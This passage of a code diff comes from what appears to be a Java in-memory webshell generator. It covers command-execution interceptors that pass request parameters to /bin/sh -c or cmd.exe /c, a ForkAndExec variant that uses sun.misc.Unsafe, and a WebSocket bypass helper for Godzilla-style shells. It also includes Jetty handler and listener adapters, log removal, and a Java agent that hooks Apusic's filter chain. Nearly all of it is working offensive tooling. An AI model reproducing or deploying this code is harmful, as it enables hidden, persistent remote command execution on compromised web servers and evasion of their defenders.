|
||||||
case "7":
|
|
||||||
packageName = TONGWEB7_VALVE_PACKAGE;
|
|
||||||
break;
|
|
||||||
case "8":
|
|
||||||
packageName = TONGWEB8_VALVE_PACKAGE;
|
|
||||||
break;
|
|
||||||
case "7.E":
|
|
||||||
packageName = TONGWEB_EMBEDDED_VALVE_PACKAGE;
|
|
||||||
break;
|
|
||||||
default:
|
|
||||||
throw new GenerationException("TongWeb Valve unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7', '8', '7.E'] for shellConfig.serverVersion");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (StringUtils.isNotBlank(packageName)) {
|
|
||||||
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
|
||||||
}
|
}
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
|
return builder.visit(new ValveRenameVisitorWrapper(packageName));
|
||||||
|
}
|
||||||
|
|
||||||
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
public static class ValveRenameVisitorWrapper implements AsmVisitorWrapper {
|
||||||
private final String newPackageName;
|
private final String newPackageName;
|
||||||
@@ -108,7 +79,7 @@ public class ValveBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
|||||||
int readerFlags) {
|
int readerFlags) {
|
||||||
return new ClassRemapper(
|
return new ClassRemapper(
|
||||||
classVisitor,
|
classVisitor,
|
||||||
new Remapper(Opcodes.ASM9) {
|
new Remapper() {
|
||||||
@Override
|
@Override
|
||||||
public String map(String typeName) {
|
public String map(String typeName) {
|
||||||
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
|
String packageName = CATALINA_VALVE_PACKAGE.replace(".", "/");
|
||||||
@@ -1,54 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
|
||||||
import com.reajason.javaweb.Server;
|
|
||||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.config.*;
|
|
||||||
import com.reajason.javaweb.memshell.shelltool.wsbypass.TomcatWsBypassValve;
|
|
||||||
import net.bytebuddy.ByteBuddy;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import org.apache.commons.lang3.tuple.Pair;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2026/1/13
|
|
||||||
*/
|
|
||||||
public class WebSocketByPassHelperGenerator {
|
|
||||||
public static byte[] getBytes(String helperClassName, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
Pair<String, String> headerPair = getHeaderPair(shellToolConfig);
|
|
||||||
if (headerPair == null) {
|
|
||||||
throw new GenerationException("unsupported shell config: " + shellConfig.getShellTool());
|
|
||||||
}
|
|
||||||
|
|
||||||
if (Server.Tomcat.equals(shellConfig.getServer())) {
|
|
||||||
DynamicType.Builder<TomcatWsBypassValve> builder = new ByteBuddy()
|
|
||||||
.redefine(TomcatWsBypassValve.class)
|
|
||||||
.visit(new TargetJreVersionVisitorWrapper(shellConfig.getTargetJreVersion()))
|
|
||||||
.field(named("headerName")).value(headerPair.getKey())
|
|
||||||
.field(named("headerValue")).value(headerPair.getValue())
|
|
||||||
.name(helperClassName);
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
|
||||||
}
|
|
||||||
try (DynamicType.Unloaded<TomcatWsBypassValve> dynamicType = builder.make()) {
|
|
||||||
return ClassBytesShrink.shrink(dynamicType.getBytes(), shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
|
|
||||||
private static Pair<String, String> getHeaderPair(ShellToolConfig shellToolConfig) {
|
|
||||||
if (shellToolConfig instanceof CommandConfig) {
|
|
||||||
return Pair.of(((CommandConfig) shellToolConfig).getHeaderName(), ((CommandConfig) shellToolConfig).getHeaderValue());
|
|
||||||
} else if (shellToolConfig instanceof GodzillaConfig) {
|
|
||||||
return Pair.of(((GodzillaConfig) shellToolConfig).getHeaderName(), ((GodzillaConfig) shellToolConfig).getHeaderValue());
|
|
||||||
} else if (shellToolConfig instanceof ProxyConfig) {
|
|
||||||
return Pair.of(((ProxyConfig) shellToolConfig).getHeaderName(), ((ProxyConfig) shellToolConfig).getHeaderValue());
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/4/27
|
|
||||||
*/
|
|
||||||
public class Base64ParamInterceptor {
|
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
|
||||||
public static void enter(@Advice.Argument(value = 0) String param, @Advice.Return(readOnly = false) String returnValue) throws Exception {
|
|
||||||
returnValue = ShellCommonUtil.base64DecodeToString(param);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,6 +1,8 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
package com.reajason.javaweb.memshell.generator.command;
|
||||||
|
|
||||||
|
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
||||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
||||||
|
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||||
import com.reajason.javaweb.memshell.config.CommandConfig;
|
import com.reajason.javaweb.memshell.config.CommandConfig;
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
import com.reajason.javaweb.memshell.config.ShellConfig;
|
||||||
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
import com.reajason.javaweb.memshell.generator.ByteBuddyShellGenerator;
|
||||||
@@ -31,6 +33,14 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
|||||||
.field(named("paramName"))
|
.field(named("paramName"))
|
||||||
.value(shellToolConfig.getParamName());
|
.value(shellToolConfig.getParamName());
|
||||||
|
|
||||||
|
if (shellConfig.isJakarta()) {
|
||||||
|
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (shellConfig.isDebugOff()) {
|
||||||
|
builder = LogRemoveMethodVisitor.extend(builder);
|
||||||
|
}
|
||||||
|
|
||||||
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
if (CommandConfig.Encryptor.DOUBLE_BASE64.equals(shellToolConfig.getEncryptor())) {
|
||||||
builder = builder
|
builder = builder
|
||||||
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
||||||
@@ -42,28 +52,13 @@ public class CommandGenerator extends ByteBuddyShellGenerator<CommandConfig> {
|
|||||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
||||||
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
.visit(Advice.to(DoubleBase64ParamInterceptor.class).on(named("getParam")));
|
||||||
}
|
}
|
||||||
if (CommandConfig.Encryptor.BASE64.equals(shellToolConfig.getEncryptor())) {
|
|
||||||
builder = builder
|
|
||||||
.visit(MethodCallReplaceVisitorWrapper.newInstance("getParam",
|
|
||||||
shellToolConfig.getShellClassName(), ShellCommonUtil.class.getName()))
|
|
||||||
.defineMethod("base64DecodeToString", String.class, Visibility.PUBLIC, Ownership.STATIC)
|
|
||||||
.withParameters(String.class)
|
|
||||||
.throwing(Exception.class)
|
|
||||||
.intercept(FixedValue.nullValue())
|
|
||||||
.visit(Advice.to(ShellCommonUtil.Base64DecodeToStringInterceptor.class).on(named("base64DecodeToString")))
|
|
||||||
.visit(Advice.to(Base64ParamInterceptor.class).on(named("getParam")));
|
|
||||||
}
|
|
||||||
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
if (CommandConfig.ImplementationClass.RuntimeExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.withCustomMapping()
|
builder = builder.visit(Advice.to(RuntimeExecInterceptor.class).on(named("getInputStream")));
|
||||||
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
|
||||||
.to(RuntimeExecInterceptor.class)
|
|
||||||
.on(named("getInputStream")));
|
|
||||||
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
} else if (CommandConfig.ImplementationClass.ForkAndExec.equals(shellToolConfig.getImplementationClass())) {
|
||||||
builder = builder.visit(Advice.withCustomMapping()
|
builder = builder.visit(Advice.to(ForkAndExecInterceptor.class).on(named("getInputStream")));
|
||||||
.bind(TemplateAnnotation.class, shellToolConfig.getTemplate())
|
|
||||||
.to(ForkAndExecInterceptor.class)
|
|
||||||
.on(named("getInputStream")));
|
|
||||||
}
|
}
|
||||||
|
|
||||||
return builder;
|
return builder;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -13,27 +13,9 @@ import java.lang.reflect.Method;
|
|||||||
*/
|
*/
|
||||||
public class ForkAndExecInterceptor {
|
public class ForkAndExecInterceptor {
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) String cmd,
|
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||||
@Advice.Return(readOnly = false) InputStream returnValue,
|
|
||||||
@TemplateAnnotation String template
|
|
||||||
) throws IOException {
|
|
||||||
try {
|
try {
|
||||||
String[] cmdarray = null;
|
String[] strs = cmd.split("\\s+");
|
||||||
String t = template;
|
|
||||||
if (t == null) {
|
|
||||||
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
|
||||||
} else {
|
|
||||||
if (t.contains("\"{command}\"")) {
|
|
||||||
String[] split = t.split("\\s+");
|
|
||||||
for (int i = 0; i < split.length; i++) {
|
|
||||||
split[i] = split[i].replace("\"{command}\"", cmd);
|
|
||||||
}
|
|
||||||
cmdarray = split;
|
|
||||||
} else {
|
|
||||||
String cmdline = t.replace("{command}", cmd);
|
|
||||||
cmdarray = cmdline.split("\\s+");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
Class<?> unsafeClass = Class.forName("sun.misc.Unsafe");
|
||||||
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
java.lang.reflect.Field unsafeField = unsafeClass.getDeclaredField("theUnsafe");
|
||||||
unsafeField.setAccessible(true);
|
unsafeField.setAccessible(true);
|
||||||
@@ -48,11 +30,11 @@ public class ForkAndExecInterceptor {
|
|||||||
}
|
}
|
||||||
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
Object processObject = unsafeClass.getMethod("allocateInstance", Class.class).invoke(unsafe, processClass);
|
||||||
|
|
||||||
byte[][] args = new byte[cmdarray.length - 1][];
|
byte[][] args = new byte[strs.length - 1][];
|
||||||
int size = args.length;
|
int size = args.length;
|
||||||
|
|
||||||
for (int i = 0; i < args.length; i++) {
|
for (int i = 0; i < args.length; i++) {
|
||||||
args[i] = cmdarray[i + 1].getBytes();
|
args[i] = strs[i + 1].getBytes();
|
||||||
size += args[i].length;
|
size += args[i].length;
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -66,7 +48,7 @@ public class ForkAndExecInterceptor {
|
|||||||
|
|
||||||
int[] envc = new int[1];
|
int[] envc = new int[1];
|
||||||
int[] std_fds = new int[]{-1, -1, -1};
|
int[] std_fds = new int[]{-1, -1, -1};
|
||||||
byte[] bytes = cmdarray[0].getBytes();
|
byte[] bytes = strs[0].getBytes();
|
||||||
byte[] result = new byte[bytes.length + 1];
|
byte[] result = new byte[bytes.length + 1];
|
||||||
System.arraycopy(bytes, 0,
|
System.arraycopy(bytes, 0,
|
||||||
result, 0,
|
result, 0,
|
||||||
|
|||||||
@@ -10,28 +10,9 @@ import java.io.InputStream;
|
|||||||
* @since 2025/5/25
|
* @since 2025/5/25
|
||||||
*/
|
*/
|
||||||
public class RuntimeExecInterceptor {
|
public class RuntimeExecInterceptor {
|
||||||
|
|
||||||
@Advice.OnMethodExit
|
@Advice.OnMethodExit
|
||||||
public static void enter(@Advice.Argument(value = 0) String cmd,
|
public static void enter(@Advice.Argument(value = 0) String cmd, @Advice.Return(readOnly = false) InputStream returnValue) throws IOException {
|
||||||
@Advice.Return(readOnly = false) InputStream returnValue,
|
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
||||||
@TemplateAnnotation String template
|
returnValue = new ProcessBuilder(cmds).redirectErrorStream(true).start().getInputStream();
|
||||||
) throws IOException {
|
|
||||||
String[] cmdarray = null;
|
|
||||||
String t = template;
|
|
||||||
if (t == null) {
|
|
||||||
cmdarray = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
|
|
||||||
} else {
|
|
||||||
if (t.contains("\"{command}\"")) {
|
|
||||||
String[] split = t.split("\\s+");
|
|
||||||
for (int i = 0; i < split.length; i++) {
|
|
||||||
split[i] = split[i].replace("\"{command}\"", cmd);
|
|
||||||
}
|
|
||||||
cmdarray = split;
|
|
||||||
} else {
|
|
||||||
String cmdline = t.replace("{command}", cmd);
|
|
||||||
cmdarray = cmdline.split("\\s+");
|
|
||||||
}
|
|
||||||
}
|
|
||||||
returnValue = new ProcessBuilder(cmdarray).redirectErrorStream(true).start().getInputStream();
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,8 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.command;
|
|
||||||
|
|
||||||
import java.lang.annotation.Retention;
|
|
||||||
import java.lang.annotation.RetentionPolicy;
|
|
||||||
|
|
||||||
@Retention(RetentionPolicy.RUNTIME)
|
|
||||||
public @interface TemplateAnnotation {
|
|
||||||
}
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.processors;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.buddy.LogRemoveMethodVisitor;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.generator.Processor;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/7
|
|
||||||
*/
|
|
||||||
public class DebugOffBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
if (shellConfig.isDebugOff()) {
|
|
||||||
builder = LogRemoveMethodVisitor.extend(builder);
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,16 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.processors;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.generator.Processor;
|
|
||||||
|
|
||||||
public class JakartaPostProcessor implements Processor<byte[]> {
|
|
||||||
@Override
|
|
||||||
public byte[] process(byte[] input, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
if (shellConfig.isJakarta()) {
|
|
||||||
return ClassRenameUtils.relocateJakarta(input);
|
|
||||||
}
|
|
||||||
return input;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,62 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.processors;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
|
||||||
import com.reajason.javaweb.asm.ClassRenameUtils;
|
|
||||||
import com.reajason.javaweb.asm.ClassSuperClassUtils;
|
|
||||||
import com.reajason.javaweb.asm.MethodUtils;
|
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.generator.Processor;
|
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
|
||||||
import com.reajason.javaweb.memshell.server.Jetty;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/7
|
|
||||||
*/
|
|
||||||
public class JettyHandlerPostProcessor implements Processor<byte[]> {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
|
||||||
String shellType = shellConfig.getShellType();
|
|
||||||
if (server instanceof Jetty
|
|
||||||
&& (ShellType.HANDLER.equals(shellType)
|
|
||||||
|| ShellType.JAKARTA_HANDLER.equals(shellType))
|
|
||||||
) {
|
|
||||||
String superClassName = null;
|
|
||||||
String serverVersion = shellConfig.getServerVersion();
|
|
||||||
if (serverVersion != null) {
|
|
||||||
switch (serverVersion) {
|
|
||||||
case "6":
|
|
||||||
superClassName = "org/mortbay/jetty/handler/AbstractHandler";
|
|
||||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
|
|
||||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
|
|
||||||
bytes = ClassRenameUtils.relocateClass(bytes, "org/eclipse/jetty/server", "org/mortbay/jetty");
|
|
||||||
break;
|
|
||||||
case "7+":
|
|
||||||
superClassName = "org/eclipse/jetty/server/handler/AbstractHandler";
|
|
||||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Lorg/eclipse/jetty/server/Request;Lorg/eclipse/jetty/server/Response;Lorg/eclipse/jetty/util/Callback;)Z");
|
|
||||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
|
|
||||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
|
|
||||||
break;
|
|
||||||
case "12":
|
|
||||||
superClassName = "org/eclipse/jetty/server/Handler$Abstract";
|
|
||||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/Object;Ljava/lang/Object;)Z");
|
|
||||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;I)V");
|
|
||||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;I)V");
|
|
||||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V");
|
|
||||||
bytes = MethodUtils.removeMethodByMethodDescriptor(bytes, "handle", "(Ljava/lang/String;Lorg/eclipse/jetty/server/Request;Ljakarta/servlet/http/HttpServletRequest;Ljakarta/servlet/http/HttpServletResponse;)V");
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if (superClassName == null) {
|
|
||||||
throw new GenerationException("serverVersion is needed for Jetty Handler or unknow serverVersion: [" + serverVersion + "], please use one of ['6', '7+', '12'] for shellConfig.serverVersion");
|
|
||||||
}
|
|
||||||
return ClassSuperClassUtils.addSuperClass(bytes, superClassName);
|
|
||||||
}
|
|
||||||
return bytes;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,69 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.processors;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.GenerationException;
|
|
||||||
import com.reajason.javaweb.buddy.MethodCallReplaceVisitorWrapper;
|
|
||||||
import com.reajason.javaweb.memshell.ServerFactory;
|
|
||||||
import com.reajason.javaweb.memshell.ShellType;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.generator.Processor;
|
|
||||||
import com.reajason.javaweb.memshell.server.AbstractServer;
|
|
||||||
import com.reajason.javaweb.utils.ShellCommonUtil;
|
|
||||||
import net.bytebuddy.asm.Advice;
|
|
||||||
import net.bytebuddy.description.method.MethodDescription;
|
|
||||||
import net.bytebuddy.description.method.MethodList;
|
|
||||||
import net.bytebuddy.description.modifier.Ownership;
|
|
||||||
import net.bytebuddy.description.modifier.Visibility;
|
|
||||||
import net.bytebuddy.description.type.TypeDescription;
|
|
||||||
import net.bytebuddy.dynamic.DynamicType;
|
|
||||||
import net.bytebuddy.implementation.FixedValue;
|
|
||||||
import net.bytebuddy.implementation.StubMethod;
|
|
||||||
import net.bytebuddy.matcher.ElementMatchers;
|
|
||||||
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.named;
|
|
||||||
import static net.bytebuddy.matcher.ElementMatchers.takesArguments;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/7
|
|
||||||
*/
|
|
||||||
public class ListenerBuilderModifier implements Processor<DynamicType.Builder<?>> {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public DynamicType.Builder<?> process(DynamicType.Builder<?> builder, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
String shellType = shellConfig.getShellType();
|
|
||||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
|
||||||
AbstractServer server = ServerFactory.getServer(shellConfig.getServer());
|
|
||||||
String shellClassName = shellToolConfig.getShellClassName();
|
|
||||||
builder = modifier(builder,
|
|
||||||
server.getListenerInterceptor(),
|
|
||||||
shellToolConfig.getShellTypeDescription(),
|
|
||||||
shellClassName);
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static DynamicType.Builder<?> modifier(DynamicType.Builder<?> builder, Class<?> implInterceptor,
|
|
||||||
TypeDescription typeDefinition, String newClassName) {
|
|
||||||
MethodList<MethodDescription.InDefinedShape> methods = typeDefinition.getDeclaredMethods();
|
|
||||||
|
|
||||||
if (methods.filter(named("getResponseFromRequest").and(takesArguments(1))).isEmpty()) {
|
|
||||||
throw new GenerationException("please add [getResponseFromRequest(Object request)] method," +
|
|
||||||
" the method body will be auto adapted for multi server");
|
|
||||||
} else {
|
|
||||||
builder = builder
|
|
||||||
.visit(MethodCallReplaceVisitorWrapper.newInstance(
|
|
||||||
"getResponseFromRequest", newClassName, ShellCommonUtil.class.getName()))
|
|
||||||
.visit(Advice.to(implInterceptor).on(named("getResponseFromRequest")));
|
|
||||||
}
|
|
||||||
|
|
||||||
if (methods.filter(named("getFieldValue").and(takesArguments(Object.class, String.class))).isEmpty()) {
|
|
||||||
builder = builder.defineMethod("getFieldValue", Object.class, Visibility.PUBLIC, Ownership.STATIC)
|
|
||||||
.withParameters(Object.class, String.class)
|
|
||||||
.throwing(Exception.class)
|
|
||||||
.intercept(StubMethod.INSTANCE)
|
|
||||||
.visit(Advice.to(ShellCommonUtil.GetFieldValueInterceptor.class).on(named("getFieldValue")));
|
|
||||||
}
|
|
||||||
return builder;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
package com.reajason.javaweb.memshell.generator.processors;
|
|
||||||
|
|
||||||
import com.reajason.javaweb.ClassBytesShrink;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellConfig;
|
|
||||||
import com.reajason.javaweb.memshell.config.ShellToolConfig;
|
|
||||||
import com.reajason.javaweb.memshell.generator.Processor;
|
|
||||||
|
|
||||||
/**
|
|
||||||
* @author ReaJason
|
|
||||||
* @since 2025/12/7
|
|
||||||
*/
|
|
||||||
public class ShrinkPostProcessor implements Processor<byte[]> {
|
|
||||||
|
|
||||||
@Override
|
|
||||||
public byte[] process(byte[] bytes, ShellConfig shellConfig, ShellToolConfig shellToolConfig) {
|
|
||||||
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -40,6 +40,7 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
String name = allLoadedClass.getName();
|
String name = allLoadedClass.getName();
|
||||||
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
if (TARGET_CLASS.replace("/", ".").equals(name)) {
|
||||||
inst.retransformClasses(allLoadedClass);
|
inst.retransformClasses(allLoadedClass);
|
||||||
|
System.out.println("MemShell Agent is working at com.apusic.web.container.FilterChainImpl.performFilter");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@@ -60,7 +61,6 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
};
|
};
|
||||||
ClassVisitor cv = getClassVisitor(cw);
|
ClassVisitor cv = getClassVisitor(cw);
|
||||||
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
cr.accept(cv, ClassReader.EXPAND_FRAMES);
|
||||||
System.out.println("MemShell Agent is working at " + TARGET_CLASS.replace("/", ".") + "." + TARGET_METHOD_NAME);
|
|
||||||
return cw.toByteArray();
|
return cw.toByteArray();
|
||||||
} catch (Exception e) {
|
} catch (Exception e) {
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
@@ -77,8 +77,12 @@ public class ApusicFilterChainAgentInjector implements ClassFileTransformer {
|
|||||||
String signature, String[] exceptions) {
|
String signature, String[] exceptions) {
|
||||||
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
|
||||||
if (TARGET_METHOD_NAME.equals(name)) {
|
if (TARGET_METHOD_NAME.equals(name)) {
|
||||||
|
try {
|
||||||
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
|
||||||
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
return new AgentShellMethodVisitor(mv, argumentTypes, getClassName());
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
return mv;
|
return mv;
|
||||||
}
|
}
|
||||||
|
|||||||